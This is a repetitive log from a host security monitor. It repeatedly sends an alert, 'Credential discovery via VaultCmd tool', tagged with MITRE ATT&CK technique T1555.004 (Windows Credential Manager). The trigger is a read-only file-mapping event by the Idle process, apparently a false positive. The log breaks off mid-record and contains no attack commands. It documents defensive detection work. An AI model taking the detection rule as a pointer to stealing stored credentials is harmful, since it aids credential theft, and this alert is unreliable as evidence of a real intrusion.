Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: 